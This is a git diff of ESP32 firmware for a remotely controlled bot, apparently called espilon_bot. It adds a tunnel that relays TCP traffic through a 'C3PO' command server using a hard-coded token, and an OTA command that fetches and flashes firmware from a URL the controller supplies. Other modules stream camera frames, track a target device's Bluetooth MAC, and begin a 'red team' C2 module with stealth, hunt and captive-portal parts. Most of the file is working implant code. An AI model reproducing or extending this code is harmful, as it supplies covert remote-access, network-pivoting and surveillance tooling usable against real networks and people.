|
||||
setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
if (connect(s, (struct sockaddr *)&server, sizeof(server)) != 0) {
|
||||
close(s);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (!tun_authenticate(s)) {
|
||||
close(s);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return s;
|
||||
}
|
||||
|
||||
/* Run the select() loop until C3PO connection drops or tun_stop() called. */
|
||||
static void tun_select_loop(void)
|
||||
{
|
||||
uint8_t data_buf[TUN_FRAME_MAX_DATA];
|
||||
g_tun.last_ping_tick = xTaskGetTickCount();
|
||||
|
||||
while (g_tun.running) {
|
||||
fd_set read_fds;
|
||||
FD_ZERO(&read_fds);
|
||||
|
||||
int max_fd = g_tun.c3po_sock;
|
||||
FD_SET(g_tun.c3po_sock, &read_fds);
|
||||
|
||||
/* Add all open channel sockets */
|
||||
for (uint16_t i = 1; i <= TUN_MAX_CHANNELS; i++) {
|
||||
tun_channel_t *ch = chan_get(i);
|
||||
if (ch && ch->state == CHAN_OPEN && ch->sock >= 0) {
|
||||
FD_SET(ch->sock, &read_fds);
|
||||
if (ch->sock > max_fd) max_fd = ch->sock;
|
||||
}
|
||||
}
|
||||
|
||||
struct timeval tv = {
|
||||
.tv_sec = 0,
|
||||
.tv_usec = TUN_SELECT_TIMEOUT_MS * 1000,
|
||||
};
|
||||
|
||||
int ready = select(max_fd + 1, &read_fds, NULL, NULL, &tv);
|
||||
|
||||
if (ready < 0) {
|
||||
if (errno == EINTR) continue;
|
||||
ESP_LOGE(TAG, "select() error: %s", strerror(errno));
|
||||
break;
|
||||
}
|
||||
|
||||
/* Read from C3PO tunnel socket */
|
||||
if (ready > 0 && FD_ISSET(g_tun.c3po_sock, &read_fds)) {
|
||||
size_t space = sizeof(g_tun.rx_buf) - g_tun.rx_buf_len;
|
||||
if (space > 0) {
|
||||
int n = recv(g_tun.c3po_sock,
|
||||
g_tun.rx_buf + g_tun.rx_buf_len,
|
||||
space, 0);
|
||||
if (n <= 0) {
|
||||
ESP_LOGW(TAG, "C3PO connection lost");
|
||||
return; /* Break to reconnect loop */
|
||||
}
|
||||
g_tun.rx_buf_len += n;
|
||||
}
|
||||
|
||||
tun_dispatch_frames();
|
||||
}
|
||||
|
||||
/* Read from channel sockets, forward to C3PO */
|
||||
if (ready > 0) {
|
||||
for (uint16_t i = 1; i <= TUN_MAX_CHANNELS; i++) {
|
||||
tun_channel_t *ch = chan_get(i);
|
||||
if (!ch || ch->state != CHAN_OPEN || ch->sock < 0) continue;
|
||||
if (!FD_ISSET(ch->sock, &read_fds)) continue;
|
||||
|
||||
int n = recv(ch->sock, data_buf, sizeof(data_buf), 0);
|
||||
if (n > 0) {
|
||||
ch->bytes_rx += n;
|
||||
if (!tun_send_frame(i, TUN_FRAME_DATA, data_buf, (uint16_t)n)) {
|
||||
ESP_LOGW(TAG, "C3PO send failed");
|
||||
return; /* Break to reconnect loop */
|
||||
}
|
||||
} else if (n == 0) {
|
||||
/* Target closed connection */
|
||||
chan_close(i, TUN_CLOSE_NORMAL);
|
||||
} else {
|
||||
if (errno != EAGAIN && errno != EWOULDBLOCK) {
|
||||
chan_close(i, TUN_CLOSE_RESET);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Periodic PING keepalive */
|
||||
uint32_t now = xTaskGetTickCount();
|
||||
if ((now - g_tun.last_ping_tick) >=
|
||||
pdMS_TO_TICKS(TUN_PING_INTERVAL_S * 1000)) {
|
||||
|
||||
uint32_t ts = (uint32_t)(now / portTICK_PERIOD_MS);
|
||||
uint8_t ts_buf[4];
|
||||
ts_buf[0] = (ts >> 24) & 0xFF;
|
||||
ts_buf[1] = (ts >> 16) & 0xFF;
|
||||
ts_buf[2] = (ts >> 8) & 0xFF;
|
||||
ts_buf[3] = ts & 0xFF;
|
||||
tun_send_frame(0, TUN_FRAME_PING, ts_buf, 4);
|
||||
g_tun.last_ping_tick = now;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void tun_task(void *arg)
|
||||
{
|
||||
const char *req_id = (const char *)arg;
|
||||
|
||||
msg_info(TAG, "tunnel connected", req_id);
|
||||
|
||||
uint32_t backoff_ms = TUN_RECONNECT_MIN_MS;
|
||||
|
||||
/* Outer reconnect loop */
|
||||
while (g_tun.running) {
|
||||
/* Run until connection drops or tun_stop() */
|
||||
tun_select_loop();
|
||||
|
||||
/* Cleanup after disconnect */
|
||||
chan_close_all();
|
||||
if (g_tun.c3po_sock >= 0) {
|
||||
close(g_tun.c3po_sock);
|
||||
g_tun.c3po_sock = -1;
|
||||
}
|
||||
g_tun.rx_buf_len = 0;
|
||||
|
||||
/* If stopped intentionally, exit */
|
||||
if (!g_tun.running) break;
|
||||
|
||||
/* Reconnect with exponential backoff */
|
||||
ESP_LOGW(TAG, "reconnecting in %"PRIu32"ms...", backoff_ms);
|
||||
vTaskDelay(pdMS_TO_TICKS(backoff_ms));
|
||||
|
||||
if (!g_tun.running) break;
|
||||
|
||||
int s = tun_connect_and_auth();
|
||||
if (s >= 0) {
|
||||
g_tun.c3po_sock = s;
|
||||
g_tun.rx_buf_len = 0;
|
||||
memset(g_tun.channels, 0, sizeof(g_tun.channels));
|
||||
for (int i = 0; i < TUN_MAX_CHANNELS; i++)
|
||||
g_tun.channels[i].sock = -1;
|
||||
|
||||
backoff_ms = TUN_RECONNECT_MIN_MS; /* Reset on success */
|
||||
ESP_LOGI(TAG, "tunnel reconnected");
|
||||
} else {
|
||||
/* Exponential backoff: double, cap at max */
|
||||
backoff_ms *= 2;
|
||||
if (backoff_ms > TUN_RECONNECT_MAX_MS)
|
||||
backoff_ms = TUN_RECONNECT_MAX_MS;
|
||||
ESP_LOGW(TAG, "reconnect failed, next attempt in %"PRIu32"ms",
|
||||
backoff_ms);
|
||||
}
|
||||
}
|
||||
|
||||
/* Final cleanup */
|
||||
chan_close_all();
|
||||
if (g_tun.c3po_sock >= 0) {
|
||||
close(g_tun.c3po_sock);
|
||||
g_tun.c3po_sock = -1;
|
||||
}
|
||||
g_tun.running = false;
|
||||
g_tun.rx_buf_len = 0;
|
||||
|
||||
msg_info(TAG, "tunnel stopped", req_id);
|
||||
|
||||
/* Free heap-allocated request_id */
|
||||
if (req_id) free((void *)req_id);
|
||||
|
||||
g_tun.task_handle = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
bool tun_start(const char *c3po_ip, int c3po_port, const char *req_id)
|
||||
{
|
||||
if (g_tun.running) return false;
|
||||
|
||||
/* Store address for reconnect */
|
||||
snprintf(g_tun.c3po_ip, sizeof(g_tun.c3po_ip), "%s", c3po_ip);
|
||||
g_tun.c3po_port = c3po_port;
|
||||
|
||||
/* Initial connection with retry loop */
|
||||
int s = -1;
|
||||
for (int retry = 0; retry < TUN_MAX_RETRY; retry++) {
|
||||
ESP_LOGI(TAG, "connecting to %s:%d (attempt %d)...",
|
||||
c3po_ip, c3po_port, retry + 1);
|
||||
|
||||
s = tun_connect_and_auth();
|
||||
if (s >= 0) break;
|
||||
|
||||
vTaskDelay(pdMS_TO_TICKS(TUN_RETRY_DELAY_MS));
|
||||
}
|
||||
|
||||
if (s < 0) {
|
||||
msg_error(TAG, "unable to connect to tunnel server", req_id);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Initialize state */
|
||||
g_tun.c3po_sock = s;
|
||||
g_tun.rx_buf_len = 0;
|
||||
g_tun.running = true;
|
||||
|
||||
#ifdef CONFIG_TUNNEL_ENCRYPT
|
||||
g_tun.encrypted = true;
|
||||
#else
|
||||
g_tun.encrypted = false;
|
||||
#endif
|
||||
|
||||
memset(g_tun.channels, 0, sizeof(g_tun.channels));
|
||||
for (int i = 0; i < TUN_MAX_CHANNELS; i++) {
|
||||
g_tun.channels[i].sock = -1;
|
||||
}
|
||||
|
||||
/* Heap-copy request_id for the task (freed inside tun_task) */
|
||||
char *req_copy = req_id ? strdup(req_id) : NULL;
|
||||
|
||||
xTaskCreatePinnedToCore(
|
||||
tun_task,
|
||||
"tun_task",
|
||||
CONFIG_TUNNEL_TASK_STACK,
|
||||
req_copy,
|
||||
5,
|
||||
&g_tun.task_handle,
|
||||
1 /* Core 1 */
|
||||
);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void tun_stop(void)
|
||||
{
|
||||
g_tun.running = false;
|
||||
/* Task will exit on next select() timeout and clean up */
|
||||
}
|
||||
|
||||
bool tun_is_running(void)
|
||||
{
|
||||
return g_tun.running;
|
||||
}
|
||||
|
||||
void tun_get_status(char *buf, size_t buf_len)
|
||||
{
|
||||
if (!g_tun.running) {
|
||||
snprintf(buf, buf_len, "tunnel=stopped");
|
||||
return;
|
||||
}
|
||||
|
||||
int open_chans = 0;
|
||||
uint32_t total_tx = 0, total_rx = 0;
|
||||
|
||||
for (int i = 0; i < TUN_MAX_CHANNELS; i++) {
|
||||
if (g_tun.channels[i].state == CHAN_OPEN) {
|
||||
open_chans++;
|
||||
total_tx += g_tun.channels[i].bytes_tx;
|
||||
total_rx += g_tun.channels[i].bytes_rx;
|
||||
}
|
||||
}
|
||||
|
||||
snprintf(buf, buf_len,
|
||||
"tunnel=running channels=%d/%d tx=%"PRIu32" rx=%"PRIu32" enc=%s",
|
||||
open_chans, TUN_MAX_CHANNELS,
|
||||
total_tx, total_rx,
|
||||
g_tun.encrypted ? "aead" : "plain");
|
||||
}
|
||||
126
espilon_bot/components/mod_network/tun_core.h
Normal file
126
espilon_bot/components/mod_network/tun_core.h
Normal file
@ -0,0 +1,126 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#include "sdkconfig.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
/* ============================================================
|
||||
* Tuneable constants (Kconfig overrides)
|
||||
* ============================================================ */
|
||||
|
||||
#ifndef CONFIG_TUNNEL_MAX_CHANNELS
|
||||
#define CONFIG_TUNNEL_MAX_CHANNELS 8
|
||||
#endif
|
||||
|
||||
#ifndef CONFIG_TUNNEL_FRAME_MAX
|
||||
#define CONFIG_TUNNEL_FRAME_MAX 4096
|
||||
#endif
|
||||
|
||||
#ifndef CONFIG_TUNNEL_TASK_STACK
|
||||
#define CONFIG_TUNNEL_TASK_STACK 6144
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* Protocol constants
|
||||
* ============================================================ */
|
||||
|
||||
#define TUN_MAX_CHANNELS CONFIG_TUNNEL_MAX_CHANNELS
|
||||
#define TUN_FRAME_MAX_DATA CONFIG_TUNNEL_FRAME_MAX
|
||||
#define TUN_FRAME_HDR_SIZE 5 /* chan_id(2) + type(1) + length(2) */
|
||||
#define TUN_FRAME_MAX_PLAIN (TUN_FRAME_HDR_SIZE + TUN_FRAME_MAX_DATA)
|
||||
|
||||
/* Crypto overhead: nonce(12) + tag(16) */
|
||||
#define TUN_CRYPTO_NONCE_LEN 12
|
||||
#define TUN_CRYPTO_TAG_LEN 16
|
||||
#define TUN_CRYPTO_OVERHEAD (TUN_CRYPTO_NONCE_LEN + TUN_CRYPTO_TAG_LEN)
|
||||
|
||||
/* Encrypted frame: 2-byte length prefix + nonce + encrypted(header+data) + tag */
|
||||
#define TUN_FRAME_MAX_ENC (2 + TUN_FRAME_MAX_PLAIN + TUN_CRYPTO_OVERHEAD)
|
||||
|
||||
/* RX buffer must hold the largest possible frame */
|
||||
#define TUN_RX_BUF_SIZE TUN_FRAME_MAX_ENC
|
||||
|
||||
/* Timeouts & limits */
|
||||
#define TUN_CONNECT_TIMEOUT_S 5
|
||||
#define TUN_SELECT_TIMEOUT_MS 100
|
||||
#define TUN_MAX_RETRY 10
|
||||
#define TUN_RETRY_DELAY_MS 5000
|
||||
#define TUN_PING_INTERVAL_S 30
|
||||
#define TUN_OPEN_TIMEOUT_S 10
|
||||
|
||||
/* Reconnect backoff (exponential: min -> min*2 -> ... -> max) */
|
||||
#define TUN_RECONNECT_MIN_MS 1000
|
||||
#define TUN_RECONNECT_MAX_MS 30000
|
||||
|
||||
/* Authentication */
|
||||
#define TUN_MAGIC "TUN\x01"
|
||||
#define TUN_MAGIC_LEN 4
|
||||
#define TUN_AUTH_TOKEN "espilon-tunnel-v1"
|
||||
#define TUN_AUTH_TOKEN_LEN 17
|
||||
|
||||
/* ============================================================
|
||||
* Frame types
|
||||
* ============================================================ */
|
||||
|
||||
typedef enum {
|
||||
TUN_FRAME_OPEN = 0x01,
|
||||
TUN_FRAME_OPEN_OK = 0x02,
|
||||
TUN_FRAME_DATA = 0x03,
|
||||
TUN_FRAME_CLOSE = 0x04,
|
||||
TUN_FRAME_ERROR = 0x05,
|
||||
TUN_FRAME_PING = 0x06,
|
||||
TUN_FRAME_PONG = 0x07,
|
||||
} tun_frame_type_t;
|
||||
|
||||
/* Close reasons */
|
||||
#define TUN_CLOSE_NORMAL 0
|
||||
#define TUN_CLOSE_RESET 1
|
||||
#define TUN_CLOSE_TIMEOUT 2
|
||||
|
||||
/* ============================================================
|
||||
* Channel state
|
||||
* ============================================================ */
|
||||
|
||||
typedef enum {
|
||||
CHAN_FREE = 0,
|
||||
CHAN_CONNECTING,
|
||||
CHAN_OPEN,
|
||||
CHAN_CLOSING,
|
||||
} tun_chan_state_t;
|
||||
|
||||
typedef struct {
|
||||
tun_chan_state_t state;
|
||||
int sock; /* Target-side TCP socket, -1 if free */
|
||||
uint32_t bytes_tx;
|
||||
uint32_t bytes_rx;
|
||||
} tun_channel_t;
|
||||
|
||||
/* ============================================================
|
||||
* Global tunnel state
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
volatile bool running;
|
||||
bool encrypted; /* Per-frame AEAD mode */
|
||||
int c3po_sock; /* Socket to C3PO tunnel server */
|
||||
tun_channel_t channels[TUN_MAX_CHANNELS];
|
||||
uint8_t rx_buf[TUN_RX_BUF_SIZE];
|
||||
size_t rx_buf_len; /* Bytes buffered (partial frame) */
|
||||
TaskHandle_t task_handle;
|
||||
uint32_t last_ping_tick; /* For keepalive */
|
||||
char c3po_ip[48]; /* Stored for reconnect */
|
||||
int c3po_port; /* Stored for reconnect */
|
||||
} tun_state_t;
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
bool tun_start(const char *c3po_ip, int c3po_port, const char *req_id);
|
||||
void tun_stop(void);
|
||||
bool tun_is_running(void);
|
||||
void tun_get_status(char *buf, size_t buf_len);
|
||||
5
espilon_bot/components/mod_ota/CMakeLists.txt
Normal file
5
espilon_bot/components/mod_ota/CMakeLists.txt
Normal file
@ -0,0 +1,5 @@
|
||||
idf_component_register(
|
||||
SRCS cmd_ota.c
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES core esp_https_ota app_update esp_http_client mbedtls
|
||||
)
|
||||
159
espilon_bot/components/mod_ota/cmd_ota.c
Normal file
159
espilon_bot/components/mod_ota/cmd_ota.c
Normal file
@ -0,0 +1,159 @@
|
||||
/*
|
||||
* cmd_ota.c
|
||||
* OTA firmware update commands (HTTPS + cert bundle)
|
||||
* Compiled as empty when CONFIG_ESPILON_OTA_ENABLED is not set.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_ESPILON_OTA_ENABLED
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "esp_system.h"
|
||||
#include "esp_ota_ops.h"
|
||||
#include "esp_https_ota.h"
|
||||
#include "esp_http_client.h"
|
||||
#include "esp_crt_bundle.h"
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "OTA"
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: ota_update <url> (async)
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_ota_update(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)ctx;
|
||||
|
||||
const char *url = argv[0];
|
||||
char buf[256];
|
||||
|
||||
snprintf(buf, sizeof(buf), "url=%s", url);
|
||||
msg_info(TAG, buf, req);
|
||||
|
||||
esp_http_client_config_t http_config = {
|
||||
.url = url,
|
||||
#ifdef CONFIG_ESPILON_OTA_ALLOW_HTTP
|
||||
.skip_cert_common_name_check = true,
|
||||
#else
|
||||
.crt_bundle_attach = esp_crt_bundle_attach,
|
||||
#endif
|
||||
.timeout_ms = 30000,
|
||||
.keep_alive_enable = true,
|
||||
};
|
||||
|
||||
esp_https_ota_config_t ota_config = {
|
||||
.http_config = &http_config,
|
||||
};
|
||||
|
||||
esp_https_ota_handle_t ota_handle = NULL;
|
||||
esp_err_t err = esp_https_ota_begin(&ota_config, &ota_handle);
|
||||
if (err != ESP_OK) {
|
||||
snprintf(buf, sizeof(buf), "begin_failed=%s", esp_err_to_name(err));
|
||||
msg_error(TAG, buf, req);
|
||||
return err;
|
||||
}
|
||||
|
||||
int total_size = esp_https_ota_get_image_size(ota_handle);
|
||||
int last_pct = -1;
|
||||
|
||||
while (1) {
|
||||
err = esp_https_ota_perform(ota_handle);
|
||||
if (err != ESP_ERR_HTTPS_OTA_IN_PROGRESS) break;
|
||||
|
||||
if (total_size > 0) {
|
||||
int bytes_read = esp_https_ota_get_image_len_read(ota_handle);
|
||||
int pct = (bytes_read * 100) / total_size;
|
||||
if (pct / 10 != last_pct / 10) {
|
||||
last_pct = pct;
|
||||
snprintf(buf, sizeof(buf), "progress=%d%%", pct);
|
||||
msg_info(TAG, buf, req);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (err != ESP_OK) {
|
||||
snprintf(buf, sizeof(buf), "download_failed=%s", esp_err_to_name(err));
|
||||
msg_error(TAG, buf, req);
|
||||
esp_https_ota_abort(ota_handle);
|
||||
return err;
|
||||
}
|
||||
|
||||
err = esp_https_ota_finish(ota_handle);
|
||||
if (err != ESP_OK) {
|
||||
if (err == ESP_ERR_OTA_VALIDATE_FAILED) {
|
||||
msg_error(TAG, "validate_failed=image_corrupted", req);
|
||||
} else {
|
||||
snprintf(buf, sizeof(buf), "finish_failed=%s", esp_err_to_name(err));
|
||||
msg_error(TAG, buf, req);
|
||||
}
|
||||
return err;
|
||||
}
|
||||
|
||||
msg_info(TAG, "status=success rebooting=true", req);
|
||||
vTaskDelay(pdMS_TO_TICKS(500));
|
||||
esp_restart();
|
||||
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: ota_status
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_ota_status(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
const esp_partition_t *running = esp_ota_get_running_partition();
|
||||
const esp_partition_t *boot = esp_ota_get_boot_partition();
|
||||
|
||||
esp_app_desc_t app_desc;
|
||||
esp_ota_get_partition_description(running, &app_desc);
|
||||
|
||||
char buf[256];
|
||||
snprintf(buf, sizeof(buf),
|
||||
"partition=%s boot=%s version=%s idf=%s",
|
||||
running ? running->label : "?",
|
||||
boot ? boot->label : "?",
|
||||
app_desc.version,
|
||||
app_desc.idf_ver
|
||||
);
|
||||
|
||||
msg_info(TAG, buf, req);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND REGISTRATION
|
||||
* ============================================================ */
|
||||
static const command_t ota_cmds[] = {
|
||||
{ "ota_update", NULL, "OTA update from HTTPS URL", 1, 1, cmd_ota_update, NULL, true },
|
||||
{ "ota_status", NULL, "Current firmware info", 0, 0, cmd_ota_status, NULL, false },
|
||||
};
|
||||
|
||||
void mod_ota_register_commands(void)
|
||||
{
|
||||
ESPILON_LOGI_PURPLE(TAG, "Registering OTA commands");
|
||||
|
||||
for (size_t i = 0; i < sizeof(ota_cmds) / sizeof(ota_cmds[0]); i++) {
|
||||
command_register(&ota_cmds[i]);
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* CONFIG_ESPILON_OTA_ENABLED */
|
||||
3
espilon_bot/components/mod_ota/cmd_ota.h
Normal file
3
espilon_bot/components/mod_ota/cmd_ota.h
Normal file
@ -0,0 +1,3 @@
|
||||
#pragma once
|
||||
|
||||
void mod_ota_register_commands(void);
|
||||
@ -1,13 +1,36 @@
|
||||
idf_component_register(
|
||||
SRCS
|
||||
"mod_cam.c"
|
||||
# "mod_trilat.c" # Disabled for now - needs BT config
|
||||
INCLUDE_DIRS
|
||||
"."
|
||||
REQUIRES
|
||||
command
|
||||
esp_wifi
|
||||
nvs_flash
|
||||
esp_http_client
|
||||
espressif__esp32-camera
|
||||
)
|
||||
set(RECON_SRCS "")
|
||||
|
||||
if(CONFIG_RECON_MODE_CAMERA)
|
||||
list(APPEND RECON_SRCS "mod_cam.c")
|
||||
endif()
|
||||
|
||||
if(CONFIG_RECON_MODE_MLAT)
|
||||
list(APPEND RECON_SRCS "mod_mlat.c")
|
||||
endif()
|
||||
|
||||
# mod_trilat.c: legacy BLE trilateration (requires full BT stack)
|
||||
# Uncomment if needed with CONFIG_BT_ENABLED=y
|
||||
# list(APPEND RECON_SRCS "mod_trilat.c")
|
||||
|
||||
if(NOT RECON_SRCS)
|
||||
# No active recon sub-modules — register as header-only component
|
||||
idf_component_register(
|
||||
INCLUDE_DIRS "."
|
||||
)
|
||||
else()
|
||||
set(RECON_REQUIRES core esp_wifi nvs_flash)
|
||||
|
||||
if(CONFIG_RECON_MODE_CAMERA)
|
||||
list(APPEND RECON_REQUIRES esp_http_client espressif__esp32-camera)
|
||||
endif()
|
||||
|
||||
if(CONFIG_RECON_MODE_MLAT)
|
||||
list(APPEND RECON_REQUIRES esp_timer)
|
||||
endif()
|
||||
|
||||
idf_component_register(
|
||||
SRCS ${RECON_SRCS}
|
||||
INCLUDE_DIRS "."
|
||||
REQUIRES ${RECON_REQUIRES}
|
||||
)
|
||||
endif()
|
||||
|
||||
@ -16,7 +16,7 @@
|
||||
#include <errno.h>
|
||||
#include <ctype.h>
|
||||
|
||||
#include "command.h"
|
||||
#include "esp_heap_caps.h"
|
||||
#include "utils.h"
|
||||
|
||||
/* ============================================================
|
||||
@ -53,8 +53,8 @@ static bool camera_initialized = false;
|
||||
static int udp_sock = -1;
|
||||
static struct sockaddr_in dest_addr;
|
||||
|
||||
/* ⚠️ à passer en Kconfig plus tard */
|
||||
static const char *token = "Sup3rS3cretT0k3n";
|
||||
/* Camera UDP authentication token (from Kconfig) */
|
||||
static const char *token = CONFIG_CAMERA_UDP_TOKEN;
|
||||
|
||||
/* ============================================================
|
||||
* CAMERA INIT
|
||||
@ -84,11 +84,20 @@ static bool init_camera(void)
|
||||
.pixel_format = PIXFORMAT_JPEG,
|
||||
.frame_size = FRAMESIZE_QQVGA,
|
||||
.jpeg_quality = 20,
|
||||
.fb_count = 2,
|
||||
.fb_location = CAMERA_FB_IN_PSRAM,
|
||||
.fb_count = 1,
|
||||
.fb_location = CAMERA_FB_IN_DRAM,
|
||||
.grab_mode = CAMERA_GRAB_LATEST
|
||||
};
|
||||
|
||||
/* Use PSRAM if available (requires bootloader with SPIRAM support) */
|
||||
if (heap_caps_get_total_size(MALLOC_CAP_SPIRAM) > 0) {
|
||||
cfg.fb_location = CAMERA_FB_IN_PSRAM;
|
||||
cfg.fb_count = 2;
|
||||
ESP_LOGI(TAG, "PSRAM available, using 2 frame buffers");
|
||||
} else {
|
||||
ESP_LOGW(TAG, "No PSRAM, using DRAM with 1 frame buffer");
|
||||
}
|
||||
|
||||
if (esp_camera_init(&cfg) != ESP_OK) {
|
||||
msg_error(TAG, "camera init failed", NULL);
|
||||
return false;
|
||||
@ -125,9 +134,8 @@ static void udp_stream_task(void *arg)
|
||||
frame_count++;
|
||||
size_t num_chunks = (fb->len + MAX_UDP_SIZE - 1) / MAX_UDP_SIZE;
|
||||
|
||||
/* DEBUG: Log frame info every 10 frames */
|
||||
if (frame_count % 10 == 1) {
|
||||
ESP_LOGI(TAG, "frame #%lu: %u bytes, %u chunks, sock=%d",
|
||||
ESP_LOGD(TAG, "frame #%lu: %u bytes, %u chunks, sock=%d",
|
||||
frame_count, fb->len, num_chunks, udp_sock);
|
||||
}
|
||||
|
||||
|
||||
@ -45,7 +45,6 @@
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_event.h"
|
||||
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
|
||||
#if defined(CONFIG_RECON_MODE_MLAT)
|
||||
|
||||
@ -17,7 +17,6 @@
|
||||
|
||||
#include "esp_http_client.h"
|
||||
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
|
||||
/* ============================================================
|
||||
@ -184,24 +183,25 @@ static void ble_init(void)
|
||||
/* ============================================================
|
||||
* COMMANDS
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_trilat_start(int argc, char **argv, void *ctx)
|
||||
static esp_err_t cmd_trilat_start(int argc, char **argv, const char *request_id, void *ctx)
|
||||
{
|
||||
if (argc != 4)
|
||||
return msg_error(TAG, "usage: trilat start <mac> <url> <bearer>", NULL);
|
||||
if (argc != 3)
|
||||
return msg_error(TAG, "usage: trilat start <mac> <url> <bearer>", request_id);
|
||||
|
||||
if (trilat_running)
|
||||
return msg_error(TAG, "already running", NULL);
|
||||
return msg_error(TAG, "already running", request_id);
|
||||
|
||||
ESP_ERROR_CHECK(nvs_flash_init());
|
||||
|
||||
if (!parse_mac_str(argv[1], target_mac))
|
||||
return msg_error(TAG, "invalid MAC", NULL);
|
||||
if (!parse_mac_str(argv[0], target_mac))
|
||||
return msg_error(TAG, "invalid MAC", request_id);
|
||||
|
||||
strncpy(target_url, argv[2], MAX_LEN-1);
|
||||
strncpy(auth_bearer, argv[3], MAX_LEN-1);
|
||||
strncpy(target_url, argv[1], MAX_LEN-1);
|
||||
strncpy(auth_bearer, argv[2], MAX_LEN-1);
|
||||
snprintf(auth_header, sizeof(auth_header), "Bearer %s", auth_bearer);
|
||||
|
||||
buffer_mutex = xSemaphoreCreateMutex();
|
||||
if (!buffer_mutex)
|
||||
buffer_mutex = xSemaphoreCreateMutex();
|
||||
data_buffer[0] = 0;
|
||||
buffer_len = 0;
|
||||
|
||||
@ -211,19 +211,19 @@ static esp_err_t cmd_trilat_start(int argc, char **argv, void *ctx)
|
||||
trilat_running = true;
|
||||
xTaskCreate(post_task, "trilat_post", 4096, NULL, 5, &post_task_handle);
|
||||
|
||||
msg_info(TAG, "trilat started", NULL);
|
||||
msg_info(TAG, "trilat started", request_id);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static esp_err_t cmd_trilat_stop(int argc, char **argv, void *ctx)
|
||||
static esp_err_t cmd_trilat_stop(int argc, char **argv, const char *request_id, void *ctx)
|
||||
{
|
||||
if (!trilat_running)
|
||||
return msg_error(TAG, "not running", NULL);
|
||||
return msg_error(TAG, "not running", request_id);
|
||||
|
||||
trilat_running = false;
|
||||
esp_ble_gap_stop_scanning();
|
||||
|
||||
msg_info(TAG, "trilat stopped", NULL);
|
||||
msg_info(TAG, "trilat stopped", request_id);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
@ -237,8 +237,8 @@ static const command_t cmd_trilat_start_def = {
|
||||
.handler = cmd_trilat_start,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
.min_args = 4,
|
||||
.max_args = 4
|
||||
.min_args = 3,
|
||||
.max_args = 3
|
||||
};
|
||||
|
||||
static const command_t cmd_trilat_stop_def = {
|
||||
@ -248,8 +248,8 @@ static const command_t cmd_trilat_stop_def = {
|
||||
.handler = cmd_trilat_stop,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
.min_args = 2,
|
||||
.max_args = 2
|
||||
.min_args = 0,
|
||||
.max_args = 0
|
||||
};
|
||||
|
||||
void mod_ble_trilat_register_commands(void)
|
||||
|
||||
5
espilon_bot/components/mod_redteam/CMakeLists.txt
Normal file
5
espilon_bot/components/mod_redteam/CMakeLists.txt
Normal file
@ -0,0 +1,5 @@
|
||||
idf_component_register(
|
||||
SRCS cmd_redteam.c rt_config.c rt_hunt.c rt_stealth.c rt_captive.c rt_mesh.c
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES core nvs_flash lwip esp_wifi freertos esp_timer
|
||||
)
|
||||
319
espilon_bot/components/mod_redteam/cmd_redteam.c
Normal file
319
espilon_bot/components/mod_redteam/cmd_redteam.c
Normal file
@ -0,0 +1,319 @@
|
||||
/*
|
||||
* cmd_redteam.c
|
||||
* Red Team resilient connectivity — 7 C2 commands.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "cmd_redteam.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_REDTEAM
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "utils.h"
|
||||
|
||||
#include "rt_config.h"
|
||||
#include "rt_hunt.h"
|
||||
#include "rt_stealth.h"
|
||||
#include "rt_mesh.h"
|
||||
|
||||
#define TAG "RT"
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: rt_hunt [auto]
|
||||
* Start the hunt. "auto" = enable auto-trigger on TCP failure.
|
||||
* ============================================================ */
|
||||
static int cmd_rt_hunt(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
|
||||
if (rt_hunt_is_active()) {
|
||||
msg_info(TAG, "Hunt already running", req);
|
||||
return 0;
|
